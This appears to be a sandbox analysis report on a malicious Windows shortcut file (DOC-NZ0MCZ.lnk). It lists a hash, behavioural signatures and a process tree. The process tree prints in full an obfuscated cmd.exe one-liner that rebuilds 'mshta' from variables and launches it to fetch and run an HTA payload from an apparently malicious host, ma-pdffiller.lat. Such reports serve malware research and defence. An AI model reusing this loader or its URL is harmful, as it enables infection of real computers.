Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:21
General
- Target DOC-NZ0MCZ.lnk
- Size 2KB
- Sample260804-j9f2jsvelc
- SHA256 e67929adeae261acd12fb7439fa517dea49badf421464ef32e906ea32abe9d71
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NZ0MCZ.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set aoAHT=cachegenmwyfbuwwscache&&set mWwDv=sysxojvefwrttsys&&set OrRW=oldbjieamjmkmold&&set Hk=winadmmpmncoujwhgwin&&set uv=oldxnzglpold&&set XbT=netnlbqmjlezmdnrwninet&&set NJiM=winpquxnlwin&&set eqJsJ=wcshxi&&set lcO=3tar8y&&set SGNaw=g9ctyx&&set nLD=winzedrepdwwin&&set Wv=7amshx&&set BPr=ert6&&set GT=e4acfw&&set RtUfH=dbgkzugdhgawvvvoqugjfdbg&&set EdPc=cachevgynlcache&&set AoeD=winpagqgaqhmwin&&set VEmD=h@t@t@ps:/@/m@a-@pdffi@ll@e@r.@l@a@t/h/estag@i@[email protected]@hp@?@r=39146@9@FB5D82@DB&&start /b !Wv:~2,3!!BPr:~2,1!!GT:~2,1! !VEmD:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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